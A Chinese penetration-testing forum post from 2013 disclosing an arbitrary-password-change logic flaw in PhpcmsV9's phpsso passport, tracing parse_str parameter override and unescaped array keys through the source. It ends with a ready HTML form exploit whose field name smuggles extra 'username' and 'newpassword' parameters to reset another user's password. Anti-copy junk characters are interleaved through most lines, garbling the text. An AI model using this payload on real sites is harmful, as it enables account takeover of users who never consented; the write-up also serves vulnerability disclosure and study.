中国网络渗透测试联盟

标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发 [打印本页]

作者: admin    时间: 2013-2-23 14:46
标题: PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发
提到的通行证的代码:
; L' x  A  l: a7 j0 Y) D5 D/ y$ a& y" e9 [  ?, \9 N

: k" k- p) e( J; t6 A& \parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);2 W8 H& O9 N. d$ K% j- V
1 b) _5 O8 D& o
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
' W3 W. m' b) D- U" j' d
* g9 N5 S# Q, S; C6 Z我把它留给了你们。% S" d2 ^4 K/ q
不知道你们发现了它没有。
* j+ W3 o# ]4 t1 f$ W  r+ W
- c* \$ s$ ]% B我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。) w0 b& f& R8 H& u

: [: O3 S5 Y. }# k6 n所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
9 I8 z# @8 C! n" e! C) N  T+ a4 b+ N9 h
也就是" [! k0 x* j8 F* e/ x: u
+ ^5 R% e. ^6 O5 C- X( |- U: J
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
9 v4 L( z/ A9 `( z& |
% o7 h( e$ y) ^要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。: a+ J& h$ ?1 ?" Z
' a% C. `. g1 n% ]! h  c( y1 |
9 ]& r6 N2 N2 f, W% e. P; N
其实我们有这样的机会,看看代码,如下:) w0 d9 |4 }4 [+ r  k, e
# _* v: \: k  d  Z" J

) F) Q! l$ L8 g: `public function auth_data($data) {
% I4 U' c6 d# L& ^6 B! h7 I* u" C                $s = $sep = '';
3 U/ p. W& z7 s" ~2 F* g2 B                foreach($data as $k => $v) {
9 v( K. }; i6 Z/ H                        if(is_array($v)) {
; C; P6 ]* Q8 G" H5 R                                $s2 = $sep2 = '';
9 c. m, D: O  k                                foreach($v as $k2 => $v2) {1 @$ {$ v! K; i+ T$ j1 b
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
1 H$ m! I. r) m3 r7 c2 J+ U                                        $sep2 = '&';
, [1 @! w: q4 N' a/ j                                }
9 M7 e7 s- u6 N/ i$ F                                $s .= $sep.$s2;0 M: b: d5 K8 M: I$ f
                        } else {
2 z. L! r/ E, a1 O+ {                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
7 K$ H. z) I$ B4 N0 n! \- Y                        }
6 ^! H9 s* b/ o) }                        $sep = '&';5 b* a+ u8 j2 y% v
                }
+ h1 ~& U2 t; e$ B3 {, L! D0 O0 J7 h; W& J6 P. b8 s1 y
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
( J, j( f- Z0 G7 y' P9 p                return $auth_s;
1 X) s7 `/ x, e( A( E        }
4 M: ?1 e- ^( [" D1 a- Q
- A9 o/ z& I1 ~7 A' [( e* H可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
& o" |' ~# i8 N, s3 \( U
  O7 n" l1 ^# E: N% l$ {/ }举个例子, d' [1 a: e. Z2 B4 O  p
$ s' K3 t' f% ]1 m
$a[aaa=a&bbb] = 'a';
) b% `' F$ h, r$ m! G9 k1 U% f; z( Y& m( l6 F3 w
会变成aaa=a&bbb=a
2 d; g' A) d8 y3 a( P9 w2 i- \2 z" l) m* |$ u/ i; T; q9 d
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
- d" L" Y- Q  O3 O8 u' s6 r+ D$ U1 k, j( c/ d$ k! q/ v
这个时候,我们可以再去看一个函数。8 w9 X8 `4 L  V+ d7 n( v9 P$ W
/ R+ u( b5 k- n, F) c
就在这个文件内:5 n9 K3 E. d1 t  M% I
1 w, C" H. V; x# q' P
  }' O: w6 f3 j1 L; x- E. {" d. u
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
+ T( q0 H" L1 C2 N* g/ q- b; y8 ~# f$ t1 ]( T                if($email && !$this->_is_email($email)) {, T/ _# c9 t1 Y. J1 R" t
                        return -4;4 V' l- x+ O% y5 k4 l9 u# C
                }: E! k9 ?- b# Z. @" O
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));5 R8 t8 Y- z8 ]) L7 W9 o8 ?
        }
# \! u5 u6 u3 g1 |6 a, i0 H4 [8 J) O! l1 I, u. ^
这是向通行证发了这样一个请求。
9 w# }" K( `: g3 P( H8 O+ X! o7 ~5 R: g' ~! w7 T) L
我们再跟到通信证代码里去看看,就会有所发现。% j" s0 M& z4 j( R  o
, H! ?* h: w( v* Y
1 R8 Y+ U- l/ C) k1 s3 f4 T- D
public function edit() {6 X2 l: e* d; b. m5 @) X
//能省就省,太长了不是吗?3 X( v0 _" [% b' _& i: Q* C

, S3 S4 ?' K- M. [3 Vif($this->username) {9 O8 v- P3 o' e( g0 Q
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
0 O7 j& K6 w' t" V3 P5 n                                $res = $this->db->update($data, array('username'=>$this->username));
7 O/ U0 B1 P+ t4 x5 s0 |                        } else {* d! y5 l2 _: I# b7 [7 q
                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
4 C8 n7 o, O2 I: @. \+ B                                $res = $this->db->update($data, array('uid'=>$this->uid));
# U( ?. u+ d. X1 [/ ?                        }
, D% n. H; n4 k2 t2 H9 E% c8 I) _6 B2 D
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
# T$ ?; I, _9 e; V# V% D: f! }% ^0 R. y
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')* S* a' p2 x, u# _
5 ?) i8 O+ i, S+ q* U1 T
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ u( }) p4 U, m  ]5 v) n' L3 i  p
7 |* l- W+ e5 p. e- u我当然找到了:
6 v+ n! q7 r- Ephpcms9/phpcms/modules/member/index.php1 D+ v# G4 `/ y. |, p3 O

! {+ O# v/ L: D' U/ g7 r) @$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
$ ]: K+ Q  Z+ |; X; Y+ F- P1 l% I$ t* r  b
然后就没有然后了。
- F- @4 C$ g& d/ Z6 P: V
2 y0 y& L1 Z( a<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">7 s0 W. z1 R8 l7 k3 c' f
                                <table width="100%" cellspacing="0" class="table_form">
+ E5 Z) U' E( T0 `1 A6 y                                        <tr>; I! x# S0 M! Q  D$ `% q. v
                                                <th width="80">邮箱:</th>        ( E1 e: D! o+ [. u" q: v0 n5 {9 T( p
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>  M) Y8 U# x6 x6 n
                                        </tr>/ D, I  i: k, i% {" r3 C
                                        <tr>
+ a1 b$ _: Q9 V/ E, z                                                <th width="80">原密码:</th>        
( B0 W; U9 ?9 b# V1 b                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
" x% s0 ~( Z, |: a/ d                                        </tr>) ^# k; y/ q: S& Y
                                        <tr>+ @4 g  t4 F5 R8 {; }8 x# b
                                                <th>新密码:</th>, g/ B7 E- O- C6 E1 s
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>, u' Z) J" ~" s' y
                                        </tr>5 C2 z7 B6 F) Q
                                        <th></th>
' P0 G+ I( j7 D+ g7 A                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
# ?* Y$ I/ |- Z  X                                        </tr>
/ T; r, J; q0 b( m                                </table>) m" m* z: N' C8 L9 D" \

0 i0 a$ Z0 U* F+ T! ]                                * G. J' @' q! X. E9 J9 h+ b* t
                        </form>
: m+ u: k! n6 N2 I




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2